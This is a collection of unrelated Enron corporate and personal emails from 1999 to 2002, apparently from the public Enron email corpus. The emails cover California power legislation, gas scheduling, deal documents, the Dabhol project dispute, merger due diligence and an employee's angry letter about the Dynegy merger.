write-off this volume to Unaccounted for Gas.  (Please print, sign, and 
return original to Clem Cernosek).

 ________________________________________________________
 Deal/Deal Ticket#/Customer (Seller/Buyer)

    OR

 _________________________________________________________
 APPROVAL to Write-off the volumes to Unaccounted for Gas Loss

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1. Legislation Passes- Short-Term Measures, Very Long-Term Measures

As we said yesterday, SB-7X passed the California State Senate easily.  The 
bill gives the state the immediate authority to purchase power via the 
Department of Water and Resources until February 2nd.  The Department will 
have $400 million available to finance power purchases, but there 
expectations that these costs could easily rise to $1 billion by next week.

AB-1X has evolved into a longer-term solution and in its current form, would 
authorize the Department of Water and Resources to enter into long-term 
contracts (as opposed to the 15 day contracts in SB-7X) to buy power at a 
price cap of 5.5 cents per kw/h.  This legislation is not expected to pass 
today and will likely be changed considerably during the upcoming two week 
period covered by SB-7X, when negotiations between generators, the utilities, 
and the state are likely to resume.

A second piece of legislation under --SB 6X--has created uncertainty in the 
markets.  This legislation will create a California Public Power Authority 
with bond issuance authority.  The uncertainty concerns whether the new 
authority will address the problem of the $12 billion in outstanding debt 
owed by the utilities.  The current text of the legislation focuses only on 
longer term measures such as expanding generation capacity and improving 
efficiency. Yet the legislation also says "the authority may issue bonds, 
exercise power of eminent domain, and enter into joint power agreements and 
buy, own, and sell land and facilities necessary for the financing of a 
project."  The general nature of this language leaves open the possibility of 
either issuing bonds to finance past debts, or using eminent domain or the 
bond authority to finance the utilities as they enter into a Ch.11 proceeding.

2. Default Update

3. Bush

As we reported on Wednesday, the Bush Administration continues to demonstrate 
little interest in getting involved

Jonathan Sparrow
1607 James Street
Durham, NC 27707
doctorbonner@altavista.com

Team,
These are some points for discussion on the conference call next week.
In todays market, I think we all can agree that the profitability is there,
the only hurdle might be environmental or the potential for two phase flow.
If we could start with these points for discussion, and come to some
resolve on these issues, we can move to the logistics of the project.

   Results of the modeling conducted on the pipeline identifying the
   potential two phase flow. ( Ken Chow)
   Potential environmental concerns. (Emissions, Possible accumulation of
   liquid, Disposal of potential liquid).
        ( Larry Campbell )

Sense this project will be taking advantage of peaks in the market, the
most logical answer is to make this equipment portable. If we plan on long
term benefits at the California border, this could be a permit installation
with a pipeline hookup from a new rail facility in Needles. But, other
areas might be identified like inlets to power plants that justify portable
equipment with NGL supplied by truck. Supplying the butane by truck from
rail facility's like the one in Mohave, might also be a way to get the
project in Needles on-line sooner. Just some topic's for discussion.

   Natural Gas and NGL Pricing projections. ( Kevin Hyatt )
   Alternate points to inject the butane. ( Norm Spalding, Earl Chanley )
   Rail car leasing and availability. ( Randy Lagrimini, Larry Garrett )
   Rail carriers in the area, cost of transportation. ( Randy Lagrimini,
   Larry Garrett )
   Trucking companies in the area and cost of transportation. ( Randy
   Lagrimini, Larry Garrett )
   Mohave rail rack. ( Larry Garrett )
   Rail Rack construction cost. ( Randy Lagrimini, Rick Suderman )
   Pipeline construction cost from rail rack to injection point. ( Randy
   Lagrimini, Rick Suderman )
   NGL Storage cost. ( Rick Suderman )

If there is anything I have missed or need to add, let me know

Conference call number   (877) 795-3687
Code Number         625465
The call is set for 10:00 am Central Time Tuesday 1-30 but if it does not
affect anyone's schedule, I would like to change it to Wednesday 1-31.  Let
me know if this works

Rick

Hey Girl, 

Sorry about last night, remember I told you I was looking for my NyQuil, well 
I found it and took a couple of swigs and went straight to sleep.  I really 
meant to call you back, but could not wake up.  I finally woke up around 
11:30 and got up and got a drink of water.  

By the way, the latest, unconfirmed rumor, is that Samatha and Anessa Hall 
Joseph are supposed to be pregnant!  

See you!

This is incredible.  The kid was a life long Aggie Fan, makes one trip to 
Austin and commits to UT.  I think we have finally found the guy to win it 
all for us (MB).   Also now Chance is saying he will actively recruit for 
us.  He wants this years class to be better than last years class.  I think a 
few phone calls to Roy Williams and BJ Johnson.  I can't wait til August.  

When are you coming back guy.  Are you ready for some football?

From: "Bruce Rudy/ENRON_DEVELOPMENT" AT ENRON_DEVELOPMENT@CCMAIL on 06/30/99 
03:21 AM
To: Gerald Nemec@ECT
cc:  
Subject: Mock

G$,

How goes it?  So how about Mack Brown?  He still amazes me with recruiting 
prowess.  Under Mackovic, getting Mock would have been an accident, but I am 
beginning to expect these recruits to start coming to Texas now.  Help me 
keep my expectations low!

Rude-Dog

Jim,

Thanks again for the invitation to visit LSU.
Shirley will FedEx the receipts tomorrow.

Vince

"James R. Garven" <jgarven@lsu.edu> on 02/08/2000 07:00:50 PM
To: vince j kaminski <vince_j_kaminski@enron.com>
cc:  
Subject: receipts from visit

Thanks again for taking the time to visit.? Both faculty and students got a 
lot out of your presentations.

I have a favor to ask concerning the expense reimbursement process.? Can you 
mail all travel and lodging receipts to my secretary Joan Payne at the 
following address:

Joan Payne
2163 CEBA
Louisiana State University
Baton Rouge, LA? 70803

Thanks,

Jim Garven

_________________________________________
James R. Garven
William H. Wright, Jr. Endowed Chair for Financial Services 
2158 CEBA
E. J. Ourso College of Business Administration
Baton Rouge, LA? 70803-6308

Voice (225) 388-0477? |? Fax: (800) 859-6361

E-mail:? jgarven@lsu.edu
Home Page: http://garven.lsu.edu
Vita: http://garven.lsu.edu/dossier.html
Research Paper Archive: http://garven.lsu.edu/research.html
_________________________________________ 

chris, CES is requesting 13,500dth for the ROM at coh7-1, are you aware of 
this????

---------------------- Forwarded by Joann Collins/Corp/Enron on 02/10/2000 
11:41 AM ---------------------------

kdestep@columbiaenergygroup.com on 02/10/2000 11:20:40 AM
To: " - *Joann_Collins@enron.com" <Joann_Collins@enron.com>
cc: " - *Bartlo, Noel" <nbartlo@columbiaenergygroup.com>, " - *Perrone, 
Brian" <bperron@columbiaenergygroup.com> 

Subject: COH Redirect & Add'l Gas

Joann,

Please redirect the following:

from mkt 7-3 cut 9039 dth total off K61822 (please prorate thru
ROM) take to 7-1

from mkt 7-8 cut 6413 dth total off K65402 (please prorate thru

In addition to the redirects, I am also requesting more gas delivered to 7-1
from you, 13500 dth total, if you could please prorate that through the rest 
of
the month as well.

We can start this on the 12th if that works for you.

Thank you!
Kara

What's Next for
Enron Federal Credit Union

Over the years, Enron Federal Credit Union has been proud to share the Enron name and support many wonderful employees and their family members around the world.  Here are some of the exciting changes slated for the Credit Union in the coming months.

New Name
We believe it is important to change our name for the sake of our members and our organization. Our new name will reflect everything that we stand for: trustworthiness, outstanding service, innovative products, value and convenience. You can expect to hear about our official new name later this month.
    
Expanded Field of Membership
Also, being a single sponsor Credit Union for Enron Corp., it has become necessary to expand our field of membership. We continue to welcome and serve current Enron employees and their families, but we will now also invite individuals and businesses that live, work or worship in Downtown Houston and the surrounding areas to become members of our Credit Union.

Additional Location
Another immediate area of focus for the Credit Union is our location. We have made plans to open an additional full-service facility that will be located in close proximity to the Enron Building in the downtown area with easy access. More information about our new location will be announced as soon as it becomes available. At this time, our current office facility will remain open and accessible for all of our members.  

We are excited about the changes that 2002 will bring and look forward to sharing the experience with each of our members.

05:07 PM ---------------------------

"Chris Strickland" <chris@lacima.co.uk> on 10/04/2000 01:51:59 AM
Please respond to "Chris Strickland" <chris@lacima.co.uk>
To: "Les" <Les@lacima.co.uk>, "VinceJKaminski" <Vince.J.Kaminski@enron.com>
cc: "Julie" <julie@lacima.co.uk> 
Subject: eprm articles

Hi guys,
?
Hope you are both enjoying Paris. We've past the  end of September which was 
the deadline for the ext EPR article. Seeing as we  were going to use the 
same data set for articles 2 and 3 I've done drafts of  them both. Please 
have a look and get comments back to me asap before Robin  stars jumping on 
us.
?
Best regards.
?
Chris.
?
 - eprm_02_03.ZIP

The report named: East P/L Totals <http://trv.corp.enron.com/linkFromExcel.asp?report_cd=1&report_name=East+P/L+Totals&category_cd=1&category_name=EAST&toc_hide=1&sTV1=1&TV1Exp=Y&current_efct_date=10/16/2001>, published as of 10/16/2001 is now available for viewing on the website.

Thanks for asking, but my schedule does not permit speaking at that time.  
Mark

---------------------- Forwarded by LaCrecia Davenport/Corp/Enron on 
12/18/2000 09:24 AM ---------------------------

Virendra Patel@ECT
12/18/2000 08:39 AM
To: LaCrecia Davenport/Corp/Enron@Enron
cc:  

Subject: Power

Hi Kathy,

I was wondering if I could order an Enron Fleece through you.  They don't have them up here in Calgary
and I was hoping to pick one up when I was down in Portland last week, but it seems like you were mostly
stocked up for summer gear (no fleece).

Would it be possible to do this?

thanks,
Cooper

We have finally agreed as the content of letter and I may need Gary to sign 
it.  Do you happen to have a copy of an agreement signed between ECT (or RMT) 
and EI as to this deal?  SS

I have asked Dan Lyons to give you a call on this.  Mark

	01/29/2001 05:36 PM
		 
		 cc: 
		 Subject: External Counsel

Mark, I am trying to find a good commercial firm in or around West Palm 
Beach, Florida that I can use as local counsel, if necessary, on a go-forward 
basis with our Advanced Mobile Power Systems transaction.  As you are likely 
aware, Enron has agreed to provide legal services to AMPS for the next six 
months, and I wanted to have available, if possible, a firm in Florida with 
which Enron is familiar and whom Enron has used before for any situations 
that require specific legal advice relating to the laws of Florida.  I am 
going to Florida to run through the legal policies with the AMPS board of 
directors and officers next week and would like, if possible, to meet with 
someone from such a firm or firms while I am there.  Do you know of or have a 
database that identifies such a law firm(s)?

Thanks
Greg Johnston

Samantha,

In the attached e-mail, Midcoast has requested a few changes to the Enron 
Corp. Guaranty.  Could you please provide Clement Abrams with these requested 
changes and let me know if they are acceptable.

Thanks,

Jason
Received: from texlog1.texas.rr.com by tfsgateway.andrews-kurth.com; Thu, 02 
Nov 2000 17:35:59 -0600
Received: from oemcomputer (cs27106-50.houston.rr.com [24.27.106.50]) by 
texlog1.texas.rr.com (8.10.1/8.10.1) with SMTP id eA2LbUl01207 for 
<PETEJ@andrews-kurth.com>; Thu, 2 Nov 2000 15:37:30 -0600
Message-ID: <008601c04514$fa0a10c0$326a1b18@houston.rr.com>
From: "Robert J. Rieth" <rjr@houston.rr.com>
To: "JASON PETERS" <PETEJ@andrews-kurth.com>
Subject: ISDA between Midcoast and Enron
Date: Thu, 2 Nov 2000 15:36:35 -0600
Content-Type: multipart/mixed; 
boundary="----=_NextPart_000_0082_01C044E2.AEB6FF20"
X-Priority: 3
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Jason? - Attached is a highlighted re-draft of  the Schedule to the ISDA 
Master and Paragraph 13 to the Credit Support Annex for  the Midcoast/Enron 
ISDA.
The provisions where we do not agree are indicated  along with my comments 
which are embedded in the text.
After you have an opportunity to review these please  give me a call. We're 
at the point where we should discuss any remaining  items.
?
Thanks
?
Rob Rieth
?
?
Robert J. Rieth
Attorney at Law
Phone: (713)  984-2023
Fax: (713) 984-8973
e-mail: rjr@houston.rr.com
 - Re-Draft  Nov. 2,00.doc

I was thrilled to hear from you today.

I sure miss you and Robin.  Seems strange not to be driving to your house
on Thursdays now.  I have a little more free time now so I can quilt and
visit with my grandchildren.

Mel is back to work now and maybe things will be getting back to some
what of a normal life for us.  The past year and half has been hard on
us. I know we just have to be patient and things will get better.  You
just go along with life and then when you or your spouse has health
problems it creates a whole new ball game.  I have great faith in the
Lord to see us through any thing.  Mel said to say hi too. ( he just came
up to my office)

When you get an address please email me that so when I finish your quilt
I can mail it to you.

Hope you find a nice man and your life becomes so full that
maybe work will take a back seat.  Maybe a  big house you can fill with
kids?????

Take care of yourself and let me hear from you again.

Love, Kathy

GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.

FYI!
 
From: Sanvido, Terry 
Sent: Sunday, January 13, 2002 6:29 PM
To: Brackett, Debbie R.; Hare, Bill D.; Hayden, Frank; Jaquet, Tammy; McLaughlin Jr., Errol; Moorer, Torrey; Rodriguez, Bernice; Sweitzer, Tara; Theriot, Kim S.; Winfree, O'Neal D.; Dupuy, Mark; Gillis, Brian; Heal, Kevin; McKeel, Richard; Reeves, Kathy; Seib, Dianne; Vander velde, Nikole; Anderson, Diane; Baker, Natalie; Baxter, Bryce; Bowen, Bob; Campos, Sylvia A.; Garcia, Clarissa; Hilliard, Marlene; Hunter, Larry Joe; Price, Wade R.; Richardson, Stacey; Schrab, Mark L.; Severson, Russ; Spears, Christopher; Sullivan, Patti; Wallumrod, Ellen; Wynne, Rita; Chitradurga, Sundar; Cinelli, Steve; Elwood, Richard; Franks, Shawn; Greig, Iain; Harmon, Kenneth M.; Hunter, Wade; Johnson, Jeff; Nolte, Ron; Powell, John D.; Ramesh, Ganapathy; Saleem, Aftab; Sanvido, Terry; Smith, Regan M.; Allen, Thresa A.; Aucoin, Evelyn; Bentley, Corry; Clemons, Amy; Dahlke, Andrea; Denton, Rhonda L.; Evans, Casey; Murphy, Melissa; Robinson, Rhonda; Stevens, Mechelle
Subject: Estate Integration Test - 1/13/2001

When you look back over the past few weeks, you realized that a tremendous amount of work was done and it resulted in only a few minor issues during today' s integration test. Everyone involved should give himself or herself a well-deserved pat on the back.
 
Thank You!
 
During the upcoming week, the integration test team will be concentrating on resolving any outstanding issues for Estate and completing the Netco integration tests. For the most part, we will use the same test scripts used for Estate; the major differences are EOL and SAP. The plan is to complete the testing by end of day on Friday, January 18th. 
 
Problem resolution Monday - Wednesday - procedure

Contact the Bridgeline 800-711-8000 (Code #3454709) from 7am - 7pm.  This will be the most effective of tracking, dispatching to the application representatives.  The integration test team will be monitoring and have access to the escalation procedures.

For those individuals who work in Unify, please remember to logoff and log back into Windows prior to accessing Unify. Please pass this information on to your co-workers. 
 
Just a reminder, for those individuals who participated in the testing, please clean up (zero out, un-officialize, etc.), do not kill the deal, any deals created during the testing for Sitara, TAGG, EnPower, Unify PM, Unify VM, Unify Settlements, CAS and ?????:
 
Thank You,
 
Integration Test Team

In its first week, the ThinkBank's Idea Vault received more than 35 ideas 
from all over the world!  And those ideas aren't just sitting there -- oh, 
no.  Connections have been made, dialogues have been started, things are 
happening at the ThinkBank.   
What's your interest rate?  Come to the ThinkBank today.

Did you ask a question at the all-employee meeting last month that was not 
answered?  Take a look in eMeet.  We've posted responses to questions from 
the meeting, as well as another anonymous question to the Office of the 
Chairman.  See the "Office of the Chairman" category in eMeet.

Stop by the eSpeak Archives to see what was discussed in Cindy Olson's 
EnronOptions event.  Great questions, great answers.  They're all in the 
transcript on eSpeak.

I gave the IP Transit deal a quick look, and it appears to me that what we need to do is prepare an amended confirm, with the capacity and price varying, depending on the month.  May want to revisit the starting dates based on our letter agreement.  Please take a look at the confirm and see if there is anything else you think we need to change.

I suggest that we make a capacity/price schedule and attach it, amending the confirm to refer to the new schedule.

Kay

---------------------- Forwarded by Kay Mann/Corp/Enron on 04/19/2001 12:27 
cc:  

Kevin,

Jeff's response to this inquiry is:

"No - just a social visit - he seems to be trying to make it soound like 
something very different."

Hope this helps - call if you need clarification.  Thanks, SRS

Kevin Kuykendall@ECT
05/23/2000 04:56 PM
To: Jeff Skilling/Corp/Enron@ENRON
cc:  

Subject: RE: Silicon Energy Org Chart

Jeff,

We spent quite a bit of time over the past several months discussing a 
possible minority investment of about $5MM in Silicon Energy.  We have broken 
off those discussions because (1) their proposed pre-money valuation of 
$150MM was, in our opinion, excessive, and (2) our people at EES, who would 
be the primary users of Silicon Energy, were not happy with Silicon Energy's 
functionality.

With this in mind, have you had discussions with John which we should know 
about or which would help give us strategic direction?

Thanks,
Kevin W. Kuykendall

---------------------- Forwarded by Kevin Kuykendall/HOU/ECT on 05/23/2000 

"Woolard, John" <john@SiliconEnergy.com> on 05/10/2000 10:49:14 AM
To: Kevin.Kuykendall@enron.com
cc:  

Just spent 2 days in Mexico with Jeff Skilling - we might finally get things 
moving with Enron.? He gets our message and is not happy that internal IT is 
slowing down progress...? JW

From:?? Kevin.Kuykendall@enron.com [mailto:Kevin.Kuykendall@enron.com] 
Sent:?? Monday, May 08, 2000 7:07 AM 
To:???? john@SiliconEnergy.com 
Subject:??????? RE: Silicon Energy Org Chart 

John, 

Sounds like everything's still on track for you, which is excellent.? We 
have not done anything with Tridium.? As for their management issues, as 
with any small company they have some holes they need to fill. 
Nevertheless, we're pretty comfortable with their overall team. 

Good luck with your continued progress.? I definitely look forward to 
receiving occasional updates.? We still may have reason to join up in the 
future. 

Thanks, 
KK 

Kevin - we will be releasing the names of the primary investors in our 
Series D round in a press release shortly and will make sure it gets to 
you.? We are talking to a few banks and are still on track for a 4 
(superscript: th) quarter IPO, although they are trying to get us to 
register sooner.? The Carrier partnership is fantastic - we already have a 
few new customers on the utility side for the residential curtailment 
program.? Hope all is well at Enron - did you guys ever do anything with 
Tridium?? Have they solved their management issues??? JW 

???? -----Original Message----- 
???? From:?? Kevin.Kuykendall@enron.com [mailto:Kevin.Kuykendall@enron.com] 
???? Sent:?? Thursday, May 04, 2000 9:22 AM 
???? To:???? john@SiliconEnergy.com 
???? Subject:??????? RE: Silicon Energy Org Chart 

???? John, 

???? I just wanted to touch base and catch up on any recent developments. 
???? Assuming that your round has closed, who are the primary investors? 
???? What 
???? is your current schedule for an IPO? 

???? Also, I read a press release a few days ago regarding your partnership 
???? with 
???? Carrier.? It was quite interesting, especially after having talked 
???? with you 
???? regarding that project during my visit to your headquarters. 

???? Thanks, 
???? KK 

Hi, John,

How are you?  Doug told me this morning that the Indeck Corinth Project 
(which we worked on last October) has come back.  He needs to update the 
following curves from Feb. 2001 to Jul. 2015:

1. NYMEX Gas Curve
2. Basis Differential ANR and CNG North CG.  

I am attaching the file you sent me last time for your reference.  

Also, you provided us the historical Henry Hub price till last October.  
Could you please give me the historical prices for the most recent three 
months?  I am also attaching that file for your convenience.  

Thanks a lot!

Ying
X 57350

Louise,

Attached as we discussed is a draft of the wording that could be used
in the master purchase agreements to designate a third party to take
title in the event of physical settlement.  We would be happy to
discuss this wording on tomorrow morning's call.

Regards,
Lou Eber
212-821-3578

From: Stock, Chase+
Sent: Thursday, January 03, 2002 6:44 PM
To: Eber, Louis; Hunt, Jim+; Meisner, Joseph+; Schleimer, Andrew+;
louise; wisemanm; gilbergd; davye
Cc: Stock, Chase+; Stock, Chase+
Subject: 9:00 AM EST Call on 1/4/02

The information for the 9:00 AM EST call on 1/4/02 is

1-888-446-5348
Ask for UBS Warburg call
Moderator: Joseph Meisner.

If you have any problems, please call me.

Chase Stock
Mergers & Acquisitions
UBS Warburg LLC
Tel 212 821-3977
Fax 212 821-4178

 - netco-phys.doc 

Jim Lokay
Sales Representative
British Parts International
800-231-6563  ext. 548
mailto:548@britishparts.com

 =09
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Message-Id: <20011030173145.5887.228742-13022@specials.sears.com>
 [IMAGE]

Tom, I thought I'd share this email that I got thru the grapevine ... it's =
rather interesting and pretty straight forward.
         =20

 << OLE Object: Picture (Device Independent Bitmap) >>=20
Kay Woods
11/14/2001 08:01 PM
To:=09Ken Lay - Office of the Chairman/ENRON@enronxgate
cc:=09Team Andrews/ET&S/Enron@Enron, Team Big-Lake-Eldorado/ET&S/Enron@Enro=
n, Team Big-Lake/ET&S/Enron@Enron, Team Andrews-Brownfield/ET&S/Enron@Enron=
, Team Andrews-Plainview-Sta/ET&S/Enron@Enron, Team Andrews-Plains/ET&S/Enr=
on@Enron, TEAM Midland/ET&S/Enron@ENRON, Team Spraberry/ET&S/Enron@ENRON, n=
athan.frierson@eott.com, bill.perry@eott.com, jim.pope@eott.com, bruce.rail=
sback@eott.com, johnnie.white@eott.com, greg.williams@eott.com, dan.crawfor=
d@eott.com, manual.martinez@eott.com, robert.moreno@eott.com, myron.maresch=
@eott.com, james.rainer@eott.com, larren.snyder@eott.com, dennis.stone@eott=
.com, robert.turner@eott.com, andy.kelly@eott.com, Ray North/Remote/Eott@Eo=
tt, Dale Kershner/Remote/Eott@Eott, Duane Konen/Remote/Eott@Eott, Harold Fr=
aley/Remote/Eott@Eott, Les Baucom/ET&S/Enron@ENRON, Michael L Smith/ET&S/En=
ron@ENRON, Robert Baker/ET&S/Enron@ENRON, Dean McCallister/ET&S/Enron@ENRON=
, Rick Taylor/Remote/Eott@Eott, John Ragsdale/ET&S/Enron@ENRON, Olan Smith/=
Remote/Eott@Eott, Gerry Hamm/Remote/Eott@Eott, Malcom Kingston/Remote/Eott@=
Eott, Team Kermit/ET&S/Enron@ENRON, Team Kermit-WT2/ET&S/Enron@ENRON, Oscar=
 Pena/Remote/Eott@Eott, Carlos Chavez/Remote/Eott@Eott, Lorenzo Chacon/Remo=
te/Eott@Eott, Rick Valles/Remote/Eott@Eott, Jimmy Watson/Remote/Eott@Eott, =
Keith Walter/Remote/Eott@Eott, Michael Dodd/Remote/Eott@Eott, Wesley McLean=
/Remote/Eott@Eott, Jerry Harper/Remote/Eott@Eott, Dewey Hopper/Remote/Eott@=
Eott, John Storm/Remote/Eott@Eott, David Miller/Remote/Eott@Eott, Johnny Pa=
rker/Remote/Eott@Eott, Richard Espinoza/Remote/Eott@Eott, Team Eunice/ET&S/=
Enron@ENRON, Ray Noseff/ET&S/Enron@ENRON, Earnest Rash/Remote/Eott@Eott, Ri=
chard Meek/Remote/Eott@Eott, Terry Diel/Remote/Eott@Eott, Loyd Black/Remote=
/Eott@Eott, George Bower/Remote/Eott@Eott, Dorcy Devoll/Remote/Eott@Eott, R=
ichard Cribbs/Remote/Eott@Eott, DeWayne Worthington/Remote/Eott@Eott, Rober=
t Foree/ET&S/Enron@ENRON, Team JalCompressors/ET&S/Enron@Enron, Team Jal-Ta=
nkfarm/ET&S/Enron@Enron, Team KermitTurbine/ET&S/Enron@Enron, Ken Gray/ET&S=
/Enron@Enron, Bob Bandel/ET&S/Enron@ENRON, James R Lawrence/ET&S/Enron@ENRO=
N, Randall Mobley/ET&S/Enron@Enron, Scott Clark/OTS/Enron@ENRON, Robert New=
man/HPL/Enron@ENRON, Sandy Cason/ET&S/Enron@Enron, Helen Sandefer/ET&S/Enro=
n@Enron, Amy Baker/ET&S/Enron@ENRON, Timothy Jones/ET&S/Enron, Judy Collins=
/ET&S/Enron@ENRON, Adel Robinson/GCO/Enron@ENRON, Kerry Gramse/ET&S/Enron@E=
nron=20

Subject:=09Re: Enron Announces Plans to Merge with Dynegy =20

I have done a lot of thinking these past few days and have decided to share=
 my thoughts with you and the board of directors. I mean, after all, FACTS =
are friendly....Right?!

I have had the utmost respect for Enron and the board for all of my 23 year=
s - thru mergers and name changes and cuts and all the ups and downs. Let m=
e just stop beating around the bush, and just get down to the bottom line h=
ere.

I, like everyone else out here have some questions and comments for you. I =
want you to get down to our terms and answer these in layman's terms - we u=
nderstand pistons & crankshafts and nuts & bolts, so please keep all of you=
 acronyms out of it.

Where in the world did you get the questions for the MergerQ&A?
Someone has messed around with our retirement, our livelyhood and our famil=
ies!
Do you really think we give a flip about what Enron field is named?
Do you really think we care if the Enron body shop stays open?
Do you really think we care about the United Way right now???
NO! We have been cheated out of money here! Have you ever put a pencil to i=
t? - Probably not, since your wages total in the $MM figure!

Let's just do that, let's figure out what a measley 1000 shares calculates =
to before and what it will be upon the merge!
1000 X $80+ =3D $80,000+ - early 2001
1000 X $40 =3D $40,000 - mid 2001
1000 X .2685 =3D 268.5 X let's say... $40 =3D $10,740 - next year
Ouch! And that is a comparison to our stock - NOT  our stock OPTIONS!

I and everyone else out here want to be compensated for what has happened -=
 you had guys bailing out with $30+MM. They will be sitting high on the hog=
 and we have people looking at a measley $15,000 plus the thought of losing=
 their jobs with the merger.

How ironic that the Code of Ethics is sent out immediately after your merge=
r e-mail! Does the board of directors EVER read that document??? We read it=
 MANY times a year!! Perhaps you should practice what you all preach!

Have you had a stranger walk up to you on the street and ask "What have YOU=
 done to the stock?"
Well, that is happening out here! What have we done to deserve this treatme=
nt? Nothing, but cut ourselves down to the meanest, leanest teams around on=
ly to have something like this slapped in our faces.

I am ashamed, embarrassed, and MAD.

1. What happened?
2. Who did it?
3. We want compensation

What should I say now? Hmmm....
GO DYNEGY

Sorry for the mixup.  Attached is template for confirm and then the GTC 
(minus tax reps).  I'm trying to fit in the tax reps in between phone calls 
and will distribute to Susan Musch (tax) for review.

Stuart:  Who else should be on the review list?

 Thanks.  Sara

This has got to be the last time.

Tomorrow morning a new team will arrive for due diligence purposes.

Tom Martin will be hosting this team

The Schedule outline is based on initial overview discussions/presentations  and then more detailed discussion can occur in individual groups the outline is as follows.  It may be better to split up earlier but I leave all those decisions to Tom   .  

9:00		Introduction			John Lavorato & Louise Kitchen
9:30		Financial Overview		Wes Colwell
10:00		Risk Overview			Buy / Port
10:30		Credit				Bradford
11:00		Back Office			Beck/Hall	
11:30		Systems (EnronOnline)		Jay Webb	
12:00	            Mid/Back Office Systems	Jay Webb
12:45		Infrastructure			Jenny Rub / Bob 
1:15		HR				Oxley

Afternoon	Dataroom and Trader discussions

Please make yourselves available.

Tammie - please check availability.

Thanks for your continued understanding.

The Maple Leaf is sending a team of 9 people.  They should arrive between 8 and 8:30 Wednesday morning and stay through Thursday evening (They are planning on a late night on Wed).  

We are currently planning on using room 3371 for the data room, but are looking for another room that might be more accomodating for such a large group.  Please let me know who your point person will be and the schedule for the initial meetings.

Louise

Louise Kitchen
Tel:  713 853 3488
Fax: 713 646 2308

Good thought.  The executive team is having a pow-wow in the morning.  
Meanwhile, my group and I continue to assist MSEB on their rate case (and a 
response to another complaint.)
---------------------- Forwarded by Jane Wilson/ENRON_DEVELOPMENT on 
11/27/2000 08:48 PM ---------------------------

11/27/2000 12:24 PM
To: Jane Wilson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Steven J Kean/NA/Enron@Enron@ENRON_DEVELOPMENT, Mark 
Palmer@ENRON@ENRON_DEVELOPMENT 

Subject: Re: URGENT. Good morning to MSEB problems.  

If I understood Wade correctly at mid-year PRC, our GOI guarantee is only for 
about 1/3 of the offtake.  Not sure we would want to be confrontational, as 
they seem to hold a good hand, i.e., they want, and they are bankrupt, so 
they do not pay.  Being aggressive did work on Phase I repudiation, but query 
whether that was because we had a GOI guarantee?   thanks  mcs  

Jane Wilson@ENRON_DEVELOPMENT
27/11/2000 06:48
To: Steven J Kean/NA/Enron@Enron, Mark Schroeder@ECT, Mark Palmer@ENRON
cc:  

Subject: URGENT. Good morning to MSEB problems.

Here we go.  There are numerous press reports of a statement by Chief 
Minister Deshmukh.  Here are a few quotes from The Financial Express:

"Bowing to burgeoning pressure from its allies, the Democratic Front (DF) 
government in Maharashtra, in principle, has agreed to review the second 
phase of the 2,184-m Dabhol power project and its sale of power to the 
loss-making Maharashtra State Electricity Board (MSEB).  Simultaneously, the 
state government has also agreed to look into the possibility of scrapping 
the revised power purchase agreement signed by the previous Shiv Sena-BJP 
government on December 9, 1998, with the Dabhol Power Company (DPC).  Talking 
to newspaerson on the eve of the winter session of the state legislature, 
which starts on Monday at Nagpur, Chief Minister Vilasrao Deshmukh confirmed 
this and added that the project, which was envisaged to tackle the power 
shortage of the stat, seemed to have defeated its purpose because of its 
prohibitive costs which the consumer may have to bear.  

The constituents of the DF government, comprising the Peasants and Workers 
Party, Janata Dal (Secular( and the Communist Party of Inida (Marxist) have 
been pressing for the cancellation of the Dabhol project on the grounds that 
it would impose further financial burden on the ailing MSEB and ultimately on 
the state government, which is also reeling under severe financial crunch.  
These allies were of the view that the scrapping of the PPA will not be a 
major issue as such agreements with multinationals have been scrapped in 
Pakistan, Turkistan and Indonesia.  

. . . ."

The team is assembling tomorrow morning at 9:00 at DPC to talk strategy.  
Attached is talking points I wrote up after working with Mohan Gurunath of 
DPC and Ananda Mukerji (EIPL -- Finance) and Jimmy Mogal (PR).  I sent around 
for others to add their input.

Query whether the CM's statement is actionable repudiation.  Paul Kraske 
(attorney for DPC) is looking into it.
11/27/2000 12:10 PM ---------------------------

Jimmy Mogal
11/26/2000 08:45 PM
To: Sanjay Bhatnagar/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Wade 
Cline/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  (bcc: Jane Wilson/ENRON_DEVELOPMENT)

Subject: Mah CM says Phase II under review

This piece has just appeared as "breaking news" on Cafe Mumbai dot Com, on 
the net. Could not see it elsewhere thus far:
Understand the CM is in Nagpur at the assembly session there

Headline: "Enron phase-II: Mah Govt now has second thoughts ! 

By Abhay Deshpande

Nagpur, Nov 26:
Maharashtra chief minister Vilasrao Deshmukh today announced that his 
government would do a re-think on implementation of the second phase of the 
Enron power  project in Maharashtra.

Addressing reporters here on the eve of the start of the winter session of 
the state legislature, Deshmukh said under today's condition, each unit of 
electricity was
 costing the consumer almost Rs. 7/- . The rate of electricity produced also 
depended on the dollar-rupee ratio so also the international prices of NAPTA. 

As such, there were chances that the rate of electricity could go up to as 
much as Rs. 20/- per unit. This would prove to be very exorbitant for the 
consumer in the state. 

The CM has now asked MSEB to go into the details of the agreement between the 
state government and Enron. He also indicated that his government was
preparing the legal grounds in case Enron took it to court if the agreement 
for the second phase was finally scraped. -cafemumbai Report 
 
	Richard Shapiro
	02/02/2001 10:00 AM
		 
		 cc: 
		 Subject: FERC reports on Plant Closures in Callifornia and Northwest Prices 
in Nov & Dec

Please distribute to entire group.
---------------------- Forwarded by Richard Shapiro/NA/Enron on 02/02/2001 
09:59 AM ---------------------------

"Lynne Church" <LCHURCH@epsa.org> on 02/02/2001 09:46:55 AM
To: <rnaill@aesc.com>, <sryan@aesc.com>, <jmacias@calpine.com>, 
<joer@calpine.com>, <petec@calpine.com>, <jmdonnell@duke-energy.com>, 
<wfhall2@duke-energy.com>, <KERA@dynegy.com>, <swbe@dynegy.com>, 
<jhartso@enron.com>, <rshapiro@enron.com>, <smutny@iepa.com>, 
<Kent_Burton@Ogden-Energy.com>, <john_h_stout@reliantenergy.com>, 
<cslesser@seiworldwide.com>, <jrminter@seiworldwide.com>, 
<jtmiller@thermoecotek.com>, <Tim.Thuston@williams.com>, <gackerman@wptf.org>
cc:  

Subject: FERC reports on Plant Closures in Callifornia and Northwest Prices 
in Nov & Dec

